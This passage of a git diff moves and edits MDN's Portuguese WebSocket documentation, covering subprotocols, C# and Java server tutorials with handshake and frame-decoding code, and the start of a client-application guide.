Think of a subprotocol as a custom XML schema or doctype declaration. You're still using XML and its syntax, but you're additionally restricted by a structure you agreed on. WebSocket subprotocols are just like that. They do not introduce anything fancy, they just establish structure. Like a doctype or schema, both parties must agree on the subprotocol; unlike a doctype or schema, the subprotocol is implemented on the server and cannot be externally refered to by the client.

- -
-

Subprotocols are explained in sections 1.9, 4.2, 11.3.4, and 11.5 of the spec.

-
- -

A client has to ask for a specific subprotocol. To do so, it will send something like this as part of the original handshake:

- -
GET /chat HTTP/1.1
-...
-Sec-WebSocket-Protocol: soap, wamp
-
-
- -

or, equivalently:

- -
...
-Sec-WebSocket-Protocol: soap
-Sec-WebSocket-Protocol: wamp
-
-
- -

Now the server must pick one of the protocols that the client suggested and it supports. If there is more than one, send the first one the client sent. Imagine our server can use both soap and wamp. Then, in the response handshake, it sends:

- -
Sec-WebSocket-Protocol: soap
-
-
- -
-

The server can't send more than one Sec-Websocket-Protocol header.
- If the server doesn't want to use any subprotocol, it shouldn't send any Sec-WebSocket-Protocol header. Sending a blank header is incorrect. The client may close the connection if it doesn't get the subprotocol it wants.

-
- -

If you want your server to obey certain subprotocols, then naturally you'll need extra code on the server. Let's imagine we're using a subprotocol json. In this subprotocol, all data is passed as JSON. If the client solicits this protocol and the server wants to use it, the server needs to have a JSON parser. Practically speaking, this will be part of a library, but the server needs to pass the data around.

- -
-

Tip: To avoid name conflict, it's recommended to make your subprotocol name part of a domain string. If you are building a custom chat app that uses a proprietary format exclusive to Example Inc., then you might use this: Sec-WebSocket-Protocol: chat.example.com. Note that this isn't required, it's just an optional convention, and you can use any string you wish.

-
- - - - diff --git a/files/pt-pt/web/api/websockets_api/escrever_um_servidor_websocket_em_c/index.html b/files/pt-pt/web/api/websockets_api/escrever_um_servidor_websocket_em_c/index.html deleted file mode 100644 index a76f81d660..0000000000 --- a/files/pt-pt/web/api/websockets_api/escrever_um_servidor_websocket_em_c/index.html +++ /dev/null @@ -1,441 +0,0 @@ ---- -title: Escrever um servidor WebSocket em C# -slug: Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_C -tags: - - HTML5 - - Tutorial - - WebSockets -translation_of: Web/API/WebSockets_API/Writing_WebSocket_server ---- -

Introdução

- -

Se desejar utilizar o WebSocket API, é útil dispor de um servidor. Neste artigo pode ver como escrever um em C#. Pode fazê-lo em qualquer língua do lado do servidor, mas para manter as coisas simples e mais compreensíveis, vamos usar a linguagem da Microsoft.

- -

Este servidor está em conformidade com o RFC 6455, pelo que só tratará de ligações a partir das versões de navegadores; Chrome 16, Firefox 11, e IE 10 ou superior.

- -

Primeiros passos

- -

Os WebSockets comunicam através de uma ligação interwiki("wikipedia","Transmission_Control_Protocol","TCP (Transmission Control Protocol)"). Felizmente, C# tem uma classe TcpListener que serve para escutar ligações de TCP. Encontra-se no espaço de nomes System.Net.Sockets.

- -
-

Nota: É aconselhável incluir o namespace com using a fim de escrever menos. Permite a utilização das classes de um namespace sem escrever sempre o namespace completo.

-
- -

TcpListener

- -

Construtor

- -
-
TcpListener(System.Net.IPAddress localaddr, int port)
-
localaddr indica o endereço IP do ouvinte e port indica a porta.
-
- -
-

Nota: Para criar um objeto IPAddress a partir de uma string, use o método static Parse de IPAddress.

-
- -

Métodos

- -
-
Start()
-
Começa a escutar os pedidos de ligação recebidos.
-
- -
-
AcceptTcpClient()
-
Espera por uma ligação TCP, aceita-a e devolve-a como um objeto TcpClient.
-
- -

Exemplo

- -

Aqui tem uma implementação básica do servidor:

- -
​using System.Net.Sockets;
-using System.Net;
-using System;
-
-class Server {
-    public static void Main() {
-        TcpListener server = new TcpListener(IPAddress.Parse("127.0.0.1"), 80);
-
-        server.Start();
-        Console.WriteLine("O servidor começou com endreço 127.0.0.1:80.{0}Esperando por uma conexão...", Environment.NewLine);
-
-        TcpClient client = server.AcceptTcpClient();
-
-        Console.WriteLine("Um cliente está conectado.");
-    }
-}
-
- -

TcpClient

- -

Métodos

- -
-
GetStream()
-
Obtém o stream que é o canal de comunicação. Ambos os lados do canal têm capacidade de leitura e escrita.
-
- -

Propriedades

- -
-
int Available
-
Esta propriedade indica quantos bytes de dados foram enviados. O valor é zero até que a propriedade NetworkStream.DataAvailable seja true.
-
- -

NetworkStream

- -

Métodos

- -
-
Write(Byte[] buffer, int offset, int size)
-
Escreve bytes vindos do buffer. offset e size determinam o comprimento da mensagem.
-
Read(Byte[] buffer, int offset, int size)
-
Lê bytes do buffer. offset e size determinam o comprimento da mensagem.
-
- -

Exemplo

- -

Vamos continuar o nosso exemplo:

- -
TcpClient client = server.AcceptTcpClient();
-
-Console.WriteLine("Um cliente está conectado.");
-
-NetworkStream stream = client.GetStream();
-
-// entrar num ciclo infinito para poder processar qualquer mudança no stream
-while (true) {
-    while (!stream.DataAvailable);
-
-    Byte[] bytes = new Byte[client.Available];
-
-    stream.Read(bytes, 0, bytes.Length);
-}
- -

Handshaking (aperto de mão)

- -

Quando um cliente se liga a um servidor, envia um pedido GET para atualizar a ligação do protocolo HTTP a uma ligação WebSocket. Isto é conhecido como aperto de mão.

- -

Este código de amostra pode detetar um GET do cliente. Note que isto irá bloquear até que os primeiros 3 bytes de uma mensagem estejam disponíveis. Deverão ser investigadas soluções alternativas para ambientes de produção.

- -
using System.Text;
-using System.Text.RegularExpressions;
-
-while(client.Available < 3)
-{
-   // esperar para que hajam bytes suficientes disponiveis
-}
-
-Byte[] bytes = new Byte[client.Available];
-
-stream.Read(bytes, 0, bytes.Length);
-
-//traduzir bytes do pedido para uma string
-String data = Encoding.UTF8.GetString(bytes);
-
-if (Regex.IsMatch(data, "^GET")) {
-
-} else {
-
-}
- -

A resposta é fácil de construir, mas pode ser um pouco difícil de compreender. A explicação completa do aperto de mão do servidor pode ser encontrada em RFC 6455, secção 4.2.2. Para os nossos propósitos, vamos apenas construir uma resposta simples.

- -

Deve:

- -
    -
  1. Obter o valor do cabeçalho de pedido da Sec-WebSocket-Key sem qualquer espaço em branco
  2. -
  3. Combine esse valor com "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" (um GUID especificado pela RFC 6455)
  4. -
  5. Calcule o código SHA-1 e Base64 do mesmo
  6. -
  7. Devolve-o como o valor do cabeçalho de resposta Sec-WebSocket-Accept numa resposta HTTP.
  8. -
- -

-if (new System.Text.RegularExpressions.Regex("^GET").IsMatch(data))
-{
-    const string eol = "\r\n"; // HTTP/1.1 define a sequencia "CR LF" como o marcador de fim de linha
-
-    Byte[] response = Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" + eol
-        + "Connection: Upgrade" + eol
-        + "Upgrade: websocket" + eol
-        + "Sec-WebSocket-Accept: " + Convert.ToBase64String(
-            System.Security.Cryptography.SHA1.Create().ComputeHash(
-                Encoding.UTF8.GetBytes(
-                    new System.Text.RegularExpressions.Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups[1].Value.Trim() + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
-                )
-            )
-        ) + eol
-        + eol);
-
-    stream.Write(response, 0, response.Length);
-}
-
- -

Descodificar mensagens

- -

Após um aperto de mão bem-sucedido, o cliente pode enviar mensagens para o servidor, mas agora estas estão codificadas.

- -

Se enviarmos "MDN", recebemos estes bytes:

- - - - - - - - - - - - - - - -
129131618435611216109
- -

Vejamos o que significam estes bytes.

- -

O primeiro byte, que tem actualmente um valor de 129, é um bitfield que se decompõe da seguinte forma:

- - - - - - - - - - - - - - - - - - - - -
FIN (Bit 0)RSV1 (Bit 1)RSV2 (Bit 2)RSV3 (Bit 3)Opcode (Bit 4:7)
10000x1=0001
- - - -

O segundo byte, que tem atualmente um valor de 131, é outro campo de bits que se decompõe assim:

- - - - - - - - - - - - - - -
MASK (Bit 0)Comprimento do conteúdo da mensagem (Bit 1:7)
10x83=0000011
- - - -
-

Porque o primeiro bit é sempre 1 para mensagens cliente-servidor, pode subtrair 128 deste byte para se livrar do bit MASK.

-
- -

Note que o bit MASK está definido na nossa mensagem. Isto significa que os quatro bytes seguintes (61, 84, 35, e 6) são os bytes de máscara utilizados para descodificar a mensagem. Estes bytes mudam com cada mensagem.

- -

Os restantes bytes são a payload da mensagem codificada.

- -

Algoritmo para descodificar

- -

Di = Ei XOR M(i mod 4)

- -

onde D é a série de bytes da mensagem descodificados, E é a série de bytes da mensagem codificados, M é a série de bytes da chave, e i é o índice do byte da mensagem a ser descodificado.

- -

Exemplo em C#:

- -
Byte[] decoded = new Byte[3];
-Byte[] encoded = new Byte[3] {112, 16, 109};
-Byte[] mask = new Byte[4] {61, 84, 35, 6};
-
-for (int i = 0; i < encoded.Length; i++) {
-    decoded[i] = (Byte)(encoded[i] ^ mask[i % 4]);
-}
- -

Exemplo completo

- -

Aqui tem o código, que foi explorado, na sua totalidade; isto inclui o código do cliente e do servidor.

- -

wsserver.cs

- -
//
-// csc wsserver.cs
-// wsserver.exe
-
-using System;
-using System.Net;
-using System.Net.Sockets;
-using System.Text;
-using System.Text.RegularExpressions;
-
-class Server {
-    public static void Main() {
-        string ip = "127.0.0.1";
-        int port = 80;
-        var server = new TcpListener(IPAddress.Parse(ip), port);
-
-        server.Start();
-        Console.WriteLine("Server has started on {0}:{1}, Waiting for a connection...", ip, port);
-
-        TcpClient client = server.AcceptTcpClient();
-        Console.WriteLine("A client connected.");
-
-        NetworkStream stream = client.GetStream();
-
-        // enter to an infinite cycle to be able to handle every change in stream
-        while (true) {
-            while (!stream.DataAvailable);
-            while (client.Available < 3); // match against "get"
-
-            byte[] bytes = new byte[client.Available];
-            stream.Read(bytes, 0, client.Available);
-            string s = Encoding.UTF8.GetString(bytes);
-
-            if (Regex.IsMatch(s, "^GET", RegexOptions.IgnoreCase)) {
-                Console.WriteLine("=====Handshaking from client=====\n{0}", s);
-
-                // 1. Obtain the value of the "Sec-WebSocket-Key" request header without any leading or trailing whitespace
-                // 2. Concatenate it with "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" (a special GUID specified by RFC 6455)
-                // 3. Compute SHA-1 and Base64 hash of the new value
-                // 4. Write the hash back as the value of "Sec-WebSocket-Accept" response header in an HTTP response
-                string swk = Regex.Match(s, "Sec-WebSocket-Key: (.*)").Groups[1].Value.Trim();
-                string swka = swk + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
-                byte[] swkaSha1 = System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(swka));
-                string swkaSha1Base64 = Convert.ToBase64String(swkaSha1);
-
-                // HTTP/1.1 defines the sequence CR LF as the end-of-line marker
-                byte[] response = Encoding.UTF8.GetBytes(
-                    "HTTP/1.1 101 Switching Protocols\r\n" +
-                    "Connection: Upgrade\r\n" +
-                    "Upgrade: websocket\r\n" +
-                    "Sec-WebSocket-Accept: " + swkaSha1Base64 + "\r\n\r\n");
-
-                stream.Write(response, 0, response.Length);
-            } else {
-                bool fin = (bytes[0] & 0b10000000) != 0,
-                    mask = (bytes[1] & 0b10000000) != 0; // must be true, "All messages from the client to the server have this bit set"
-
-                int opcode = bytes[0] & 0b00001111, // expecting 1 - text message
-                    msglen = bytes[1] - 128, // & 0111 1111
-                    offset = 2;
-
-                if (msglen == 126) {
-                    // was ToUInt16(bytes, offset) but the result is incorrect
-                    msglen = BitConverter.ToUInt16(new byte[] { bytes[3], bytes[2] }, 0);
-                    offset = 4;
-                } else if (msglen == 127) {
-                    Console.WriteLine("TODO: msglen == 127, needs qword to store msglen");
-                    // i don't really know the byte order, please edit this
-                    // msglen = BitConverter.ToUInt64(new byte[] { bytes[5], bytes[4], bytes[3], bytes[2], bytes[9], bytes[8], bytes[7], bytes[6] }, 0);
-                    // offset = 10;
-                }
-
-                if (msglen == 0)
-                    Console.WriteLine("msglen == 0");
-                else if (mask) {
-                    byte[] decoded = new byte[msglen];
-                    byte[] masks = new byte[4] { bytes[offset], bytes[offset + 1], bytes[offset + 2], bytes[offset + 3] };
-                    offset += 4;
-
-                    for (int i = 0; i < msglen; ++i)
-                        decoded[i] = (byte)(bytes[offset + i] ^ masks[i % 4]);
-
-                    string text = Encoding.UTF8.GetString(decoded);
-                    Console.WriteLine("{0}", text);
-                } else
-                    Console.WriteLine("mask bit not set");
-
-                Console.WriteLine();
-            }
-        }
-    }
-}
- -

client.html

- -
<!doctype html>
-<style>
-    textarea { vertical-align: bottom; }
-    #output { overflow: auto; }
-    #output > p { overflow-wrap: break-word; }
-    #output span { color: blue; }
-    #output span.error { color: red; }
-</style>
-<h2>WebSocket Test</h2>
-<textarea cols=60 rows=6></textarea>
-<button>send</button>
-<div id=output></div>
-<script>
-    // http://www.websocket.org/echo.html
-
-    var button = document.querySelector("button"),
-        output = document.querySelector("#output"),
-        textarea = document.querySelector("textarea"),
-        // wsUri = "ws://echo.websocket.org/",
-        wsUri = "ws://127.0.0.1/",
-        websocket = new WebSocket(wsUri);
-
-    button.addEventListener("click", onClickButton);
-
-    websocket.onopen = function (e) {
-        writeToScreen("CONNECTED");
-        doSend("WebSocket rocks");
-    };
-
-    websocket.onclose = function (e) {
-        writeToScreen("DISCONNECTED");
-    };
-
-    websocket.onmessage = function (e) {
-        writeToScreen("<span>RESPONSE: " + e.data + "</span>");
-    };
-
-    websocket.onerror = function (e) {
-        writeToScreen("<span class=error>ERROR:</span> " + e.data);
-    };
-
-    function doSend(message) {
-        writeToScreen("SENT: " + message);
-        websocket.send(message);
-    }
-
-    function writeToScreen(message) {
-        output.insertAdjacentHTML("afterbegin", "<p>" + message + "</p>");
-    }
-
-    function onClickButton() {
-        var text = textarea.value;
-
-        text && doSend(text);
-        textarea.value = "";
-        textarea.focus();
-    }
-</script>
- -

Ver também

- - - -
 
diff --git a/files/pt-pt/web/api/websockets_api/escrever_um_servidor_websocket_em_java/index.html b/files/pt-pt/web/api/websockets_api/escrever_um_servidor_websocket_em_java/index.html deleted file mode 100644 index 4181a1cd37..0000000000 --- a/files/pt-pt/web/api/websockets_api/escrever_um_servidor_websocket_em_java/index.html +++ /dev/null @@ -1,220 +0,0 @@ ---- -title: Escrever um servidor WebSocket em Java -slug: Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_Java -tags: - - HTML5 - - Handshaking - - Tutorial - - WebSockets -translation_of: Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java ---- -

Introdução

- -

Este exemplo mostra-lhe como criar um servidor com API de WebSocket utilizando Oracle Java.
-
- Embora outras linguagens do lado do servidor possam ser utilizadas para criar um servidor WebSocket, este exemplo utiliza Oracle Java para simplificar o código do exemplo.

- -

Este servidor está em conformidade com o RFC 6455, pelo que apenas trata de ligações a partir das seguintes versões dos navegadores; Chrome 16, Firefox 11, IE 10 e superior.

- -

Primeiros passos

- -

Os WebSockets comunicam através de uma ligação {{interwiki("wikipedia", "Transmission_Control_Protocol", "TCP (Transmission Control Protocol)")}}. A classe ServerSocket do Java está localizada no pacote java.net.

- -

ServerSocket

- -

Construtor

- -
-
ServerSocket(int port)
-
Quando se instância a classe ServerSocket, esta é ligada ao número da porta que se especificou pelo argumento port.
-
- Aqui está uma implementação dividida em partes:
-
- -
import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.security.MessageDigest;
-import java.security.NoSuchAlgorithmException;
-import java.util.Base64;
-import java.util.Scanner;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class WebSocket {
-	public static void main(String[] args) throws IOException, NoSuchAlgorithmException {
-		ServerSocket server = new ServerSocket(80);
-		try {
-			System.out.println("Server has started on 127.0.0.1:80.\r\nWaiting for a connection...");
-			Socket client = server.accept();
-			System.out.println("A client connected.");
- -

Socket

- -

Métodos

- -
-
getInputStream()
-
Devolve uma input stream para este socket.
-
getOutputStream()
-
Devolve uma output stream para este socket.
-
- -

OutputStream

- -

Métodos

- -
-
write(byte[] b, int off, int len)
-
Escreve o número de bytes especificado por len a partir da matriz de bytes especificada por b, começando no índice indicado por off para este output stream.
-
- -

InputStream

- -

Métodos

- -
-
read(byte[] b, int off, int len)
-
Lê até um número de bytes especificado por len da matriz de bytes especificada por b, começando no índice indicado por off para este input stream.
-
- -

Vamos continuar o nosso exemplo.

- -
			InputStream in = client.getInputStream();
-			OutputStream out = client.getOutputStream();
-			Scanner s = new Scanner(in, "UTF-8");
- -

Handshaking (aperto de mão)

- -

Quando um cliente se liga a um servidor, envia um pedido GET para actualizar a ligação do protocolo HTTP a uma ligação WebSocket. Isto é conhecido como aperto de mão.

- -
			try {
-				String data = s.useDelimiter("\\r\\n\\r\\n").next();
-				Matcher get = Pattern.compile("^GET").matcher(data);
- -

Criar a resposta é mais fácil do que compreender porque o deve fazer desta forma.

- -

Você deve,

- -
    -
  1. Obter o valor do cabeçalho de pedido da Sec-WebSocket-Key sem qualquer espaço em branco
  2. -
  3. Combine esse valor com "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
  4. -
  5. Calcule o código SHA-1 e Base64 do mesmo
  6. -
  7. Devolve-o como o valor do cabeçalho de resposta Sec-WebSocket-Accept numa resposta HTTP.
  8. -
- -
				if (get.find()) {
-					Matcher match = Pattern.compile("Sec-WebSocket-Key: (.*)").matcher(data);
-					match.find();
-					byte[] response = ("HTTP/1.1 101 Switching Protocols\r\n"
-						+ "Connection: Upgrade\r\n"
-						+ "Upgrade: websocket\r\n"
-						+ "Sec-WebSocket-Accept: "
-						+ Base64.getEncoder().encodeToString(MessageDigest.getInstance("SHA-1").digest((match.group(1) + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11").getBytes("UTF-8")))
-						+ "\r\n\r\n").getBytes("UTF-8");
-					out.write(response, 0, response.length);
-
- -

Descodificar mensagens

- -

Após um aperto de mão bem-sucedido, o cliente pode enviar mensagens para o servidor, mas agora estas estão codificadas.
-
- Se enviarmos "abcdef", recebemos estes bytes:

- - - - - - - - - - - - - - - - - - -
129134167225225210198131130182194135
- -

129 (FIN, RSV1, RSV2, RSV3, opcode)

- -

Pode enviar a sua mensagem em fragmentos, mas por enquanto o FIN é 1 indicando que a mensagem está toda num fragmento. RSV1, RSV2 e RSV3 são sempre 0, a não ser que um significado para os bytes é negociado. Opcode 0x1 significa que isto é um texto (ver lista completa de opcodes).

- - - - - - - - - - - - - - - - - - - - -
FIN (É o último fragmento da mensagem?)RSV1RSV2RSV3Opcode
10000x1=0001
- -

134 (comprimento da mensagem)

- -

O comprimento da mensagem é indicada das seguintes formas:

- - - -

167, 225, 225 e 210 (chave para descodificar)

- -

Estes são os bytes da chave para descodificar. A chave muda para cada mensagem.

- -

198, 131, 130, 182, 194, 135 (conteúdo da mensagem)

- -

Os restantes bytes codificados são a mensagem.

- -

Algoritmo para descodificar

- -

O algoritmo usado para descodificar a mensagem é o seguinte:

- -

Di = Ei XOR M(i mod 4)

- -

onde D é a série de bytes da mensagem descodificados, E é a série de bytes da mensagem codificados, M é a série de bytes da chave, e i é o índice do byte da mensagem a ser descodificado.

- -

Exemplo em Java:

- -
					byte[] decoded = new byte[6];
-					byte[] encoded = new byte[] { (byte) 198, (byte) 131, (byte) 130, (byte) 182, (byte) 194, (byte) 135 };
-					byte[] key = new byte[] { (byte) 167, (byte) 225, (byte) 225, (byte) 210 };
-					for (int i = 0; i < encoded.length; i++) {
-						decoded[i] = (byte) (encoded[i] ^ key[i & 0x3]);
-					}
-				}
-			} finally {
-				s.close();
-			}
-		} finally {
-			server.close();
-		}
-	}
-}
- -

Ver também

- - - -
diff --git a/files/pt-pt/web/api/websockets_api/writing_a_websocket_server_in_java/index.html b/files/pt-pt/web/api/websockets_api/writing_a_websocket_server_in_java/index.html new file mode 100644 index 0000000000..4181a1cd37 --- /dev/null +++ b/files/pt-pt/web/api/websockets_api/writing_a_websocket_server_in_java/index.html @@ -0,0 +1,220 @@ +--- +title: Escrever um servidor WebSocket em Java +slug: Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_Java +tags: + - HTML5 + - Handshaking + - Tutorial + - WebSockets +translation_of: Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java +--- +

Introdução

+ +

Este exemplo mostra-lhe como criar um servidor com API de WebSocket utilizando Oracle Java.
+
+ Embora outras linguagens do lado do servidor possam ser utilizadas para criar um servidor WebSocket, este exemplo utiliza Oracle Java para simplificar o código do exemplo.

+ +

Este servidor está em conformidade com o RFC 6455, pelo que apenas trata de ligações a partir das seguintes versões dos navegadores; Chrome 16, Firefox 11, IE 10 e superior.

+ +

Primeiros passos

+ +

Os WebSockets comunicam através de uma ligação {{interwiki("wikipedia", "Transmission_Control_Protocol", "TCP (Transmission Control Protocol)")}}. A classe ServerSocket do Java está localizada no pacote java.net.

+ +

ServerSocket

+ +

Construtor

+ +
+
ServerSocket(int port)
+
Quando se instância a classe ServerSocket, esta é ligada ao número da porta que se especificou pelo argumento port.
+
+ Aqui está uma implementação dividida em partes:
+
+ +
import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.ServerSocket;
+import java.net.Socket;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.Base64;
+import java.util.Scanner;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class WebSocket {
+	public static void main(String[] args) throws IOException, NoSuchAlgorithmException {
+		ServerSocket server = new ServerSocket(80);
+		try {
+			System.out.println("Server has started on 127.0.0.1:80.\r\nWaiting for a connection...");
+			Socket client = server.accept();
+			System.out.println("A client connected.");
+ +

Socket

+ +

Métodos

+ +
+
getInputStream()
+
Devolve uma input stream para este socket.
+
getOutputStream()
+
Devolve uma output stream para este socket.
+
+ +

OutputStream

+ +

Métodos

+ +
+
write(byte[] b, int off, int len)
+
Escreve o número de bytes especificado por len a partir da matriz de bytes especificada por b, começando no índice indicado por off para este output stream.
+
+ +

InputStream

+ +

Métodos

+ +
+
read(byte[] b, int off, int len)
+
Lê até um número de bytes especificado por len da matriz de bytes especificada por b, começando no índice indicado por off para este input stream.
+
+ +

Vamos continuar o nosso exemplo.

+ +
			InputStream in = client.getInputStream();
+			OutputStream out = client.getOutputStream();
+			Scanner s = new Scanner(in, "UTF-8");
+ +

Handshaking (aperto de mão)

+ +

Quando um cliente se liga a um servidor, envia um pedido GET para actualizar a ligação do protocolo HTTP a uma ligação WebSocket. Isto é conhecido como aperto de mão.

+ +
			try {
+				String data = s.useDelimiter("\\r\\n\\r\\n").next();
+				Matcher get = Pattern.compile("^GET").matcher(data);
+ +

Criar a resposta é mais fácil do que compreender porque o deve fazer desta forma.

+ +

Você deve,

+ +
    +
  1. Obter o valor do cabeçalho de pedido da Sec-WebSocket-Key sem qualquer espaço em branco
  2. +
  3. Combine esse valor com "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
  4. +
  5. Calcule o código SHA-1 e Base64 do mesmo
  6. +
  7. Devolve-o como o valor do cabeçalho de resposta Sec-WebSocket-Accept numa resposta HTTP.
  8. +
+ +
				if (get.find()) {
+					Matcher match = Pattern.compile("Sec-WebSocket-Key: (.*)").matcher(data);
+					match.find();
+					byte[] response = ("HTTP/1.1 101 Switching Protocols\r\n"
+						+ "Connection: Upgrade\r\n"
+						+ "Upgrade: websocket\r\n"
+						+ "Sec-WebSocket-Accept: "
+						+ Base64.getEncoder().encodeToString(MessageDigest.getInstance("SHA-1").digest((match.group(1) + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11").getBytes("UTF-8")))
+						+ "\r\n\r\n").getBytes("UTF-8");
+					out.write(response, 0, response.length);
+
+ +

Descodificar mensagens

+ +

Após um aperto de mão bem-sucedido, o cliente pode enviar mensagens para o servidor, mas agora estas estão codificadas.
+
+ Se enviarmos "abcdef", recebemos estes bytes:

+ + + + + + + + + + + + + + + + + + +
129134167225225210198131130182194135
+ +

129 (FIN, RSV1, RSV2, RSV3, opcode)

+ +

Pode enviar a sua mensagem em fragmentos, mas por enquanto o FIN é 1 indicando que a mensagem está toda num fragmento. RSV1, RSV2 e RSV3 são sempre 0, a não ser que um significado para os bytes é negociado. Opcode 0x1 significa que isto é um texto (ver lista completa de opcodes).

+ + + + + + + + + + + + + + + + + + + + +
FIN (É o último fragmento da mensagem?)RSV1RSV2RSV3Opcode
10000x1=0001
+ +

134 (comprimento da mensagem)

+ +

O comprimento da mensagem é indicada das seguintes formas:

+ + + +

167, 225, 225 e 210 (chave para descodificar)

+ +

Estes são os bytes da chave para descodificar. A chave muda para cada mensagem.

+ +

198, 131, 130, 182, 194, 135 (conteúdo da mensagem)

+ +

Os restantes bytes codificados são a mensagem.

+ +

Algoritmo para descodificar

+ +

O algoritmo usado para descodificar a mensagem é o seguinte:

+ +

Di = Ei XOR M(i mod 4)

+ +

onde D é a série de bytes da mensagem descodificados, E é a série de bytes da mensagem codificados, M é a série de bytes da chave, e i é o índice do byte da mensagem a ser descodificado.

+ +

Exemplo em Java:

+ +
					byte[] decoded = new byte[6];
+					byte[] encoded = new byte[] { (byte) 198, (byte) 131, (byte) 130, (byte) 182, (byte) 194, (byte) 135 };
+					byte[] key = new byte[] { (byte) 167, (byte) 225, (byte) 225, (byte) 210 };
+					for (int i = 0; i < encoded.length; i++) {
+						decoded[i] = (byte) (encoded[i] ^ key[i & 0x3]);
+					}
+				}
+			} finally {
+				s.close();
+			}
+		} finally {
+			server.close();
+		}
+	}
+}
+ +

Ver também

+ + + +
diff --git a/files/pt-pt/web/api/websockets_api/writing_websocket_client_applications/index.html b/files/pt-pt/web/api/websockets_api/writing_websocket_client_applications/index.html new file mode 100644 index 0000000000..c66e10ceaf --- /dev/null +++ b/files/pt-pt/web/api/websockets_api/writing_websocket_client_applications/index.html @@ -0,0 +1,180 @@ +--- +title: Escrever aplicação cliente de WebSocket +slug: Web/API/WebSockets_API/Escrever_aplicação_cliente_de_WebSocket +tags: + - Client + - Exemplo + - Guía + - Networking + - Web Sockets API + - WebSocket + - WebSocket API + - WebSockets +translation_of: Web/API/WebSockets_API/Writing_WebSocket_client_applications +--- +
{{APIRef("Websockets API")}}
+ +

WebSocket client applications use the WebSocket API to communicate with WebSocket servers using the WebSocket protocol.

+ +

{{AvailableInWorkers}}

+ +
+

Note: The example snippets in this article are taken from our WebSocket chat client/server sample. See the code, then try out the example for yourself.

+
+ +

Creating a WebSocket object

+ +

In order to communicate using the WebSocket protocol, you need to create a {{domxref("WebSocket")}} object; this will automatically attempt to open the connection to the server.

+ +

The WebSocket constructor accepts one required and one optional parameter:

+ +
webSocket = new WebSocket(url, protocols);
+
+ +
+
url
+
The URL to which to connect; this should be the URL to which the WebSocket server will respond. This should use the URL scheme wss://, although some software may allow you to use the insecure ws:// for local connections.
+
protocols {{ optional_inline() }}
+
Either a single protocol string or an array of protocol strings. These strings are used to indicate sub-protocols, so that a single server can implement multiple WebSocket sub-protocols (for example, you might want one server to be able to handle different types of interactions depending on the specified protocol). If you don't specify a protocol string, an empty string is assumed.
+
+ +

The constructor will throw a SecurityError if the destination doesn't allow access. This may happen if you attempt to use an insecure connection (most {{Glossary("user agent", "user agents")}} now require a secure link for all WebSocket connections unless they're on the same device or possibly on the same network).

+ +

Connection errors

+ +

If an error occurs while attempting to connect, first a simple event with the name error is sent to the {{domxref("WebSocket")}} object (thereby invoking its {{domxref("WebSocket.onerror", "onerror")}} handler), and then the {{domxref("CloseEvent")}} is sent to the WebSocket object (thereby invoking its {{domxref("WebSocket.onclose", "onclose")}} handler) to indicate the reason for the connection's closing.

+ +

The browser may also output to its console a more descriptive error message as well as a closing code as defined in RFC 6455, Section 7.4 through the {{domxref("CloseEvent")}}.

+ +

Examples

+ +

This simple example creates a new WebSocket, connecting to the server at wss://www.example.com/socketserver. A custom protocol of "protocolOne" is named in the request for the socket in this example, though this can be omitted.

+ +
var exampleSocket = new WebSocket("wss://www.example.com/socketserver", "protocolOne");
+
+ +

On return, {{domxref("WebSocket.readyState", "exampleSocket.readyState")}} is CONNECTING. The readyState will become OPEN once the connection is ready to transfer data.

+ +

If you want to open a connection and are flexible about the protocols you support, you can specify an array of protocols:

+ +
var exampleSocket = new WebSocket("wss://www.example.com/socketserver", ["protocolOne", "protocolTwo"]);
+
+ +

Once the connection is established (that is, readyState is OPEN), {{domxref("WebSocket.protocol", "exampleSocket.protocol")}} will tell you which protocol the server selected.

+ +

Establishing a WebSocket relies on the HTTP Upgrade mechanism, so the request for the protocol upgrade is implicit when we address the web server as ws://www.example.com or wss://www.example.com.

+ +

Sending data to the server

+ +

Once you've opened your connection, you can begin transmitting data to the server. To do this, simply call the WebSocket object's {{domxref("WebSocket.send", "send()")}} method for each message you want to send:

+ +
exampleSocket.send("Here's some text that the server is urgently awaiting!");
+
+ +

You can send data as a string, {{ domxref("Blob") }}, or {{jsxref("ArrayBuffer")}}.

+ +

As establishing a connection is asynchronous and prone to failure there is no guarantee that calling the send() method immediately after creating a WebSocket object will be successful. We can at least be sure that attempting to send data only takes place once a connection is established by defining an {{domxref("WebSocket.onopen", "onopen")}} event handler to do the work:

+ +
exampleSocket.onopen = function (event) {
+  exampleSocket.send("Here's some text that the server is urgently awaiting!");
+};
+
+ +

Using JSON to transmit objects

+ +

One handy thing you can do is use {{glossary("JSON")}} to send reasonably complex data to the server. For example, a chat program can interact with a server using a protocol implemented using packets of JSON-encapsulated data:

+ +
// Send text to all users through the server
+function sendText() {
+  // Construct a msg object containing the data the server needs to process the message from the chat client.
+  var msg = {
+    type: "message",
+    text: document.getElementById("text").value,
+    id:   clientID,
+    date: Date.now()
+  };
+
+  // Send the msg object as a JSON-formatted string.
+  exampleSocket.send(JSON.stringify(msg));
+
+  // Blank the text input element, ready to receive the next line of text from the user.
+  document.getElementById("text").value = "";
+}
+
+ +

Receiving messages from the server

+ +

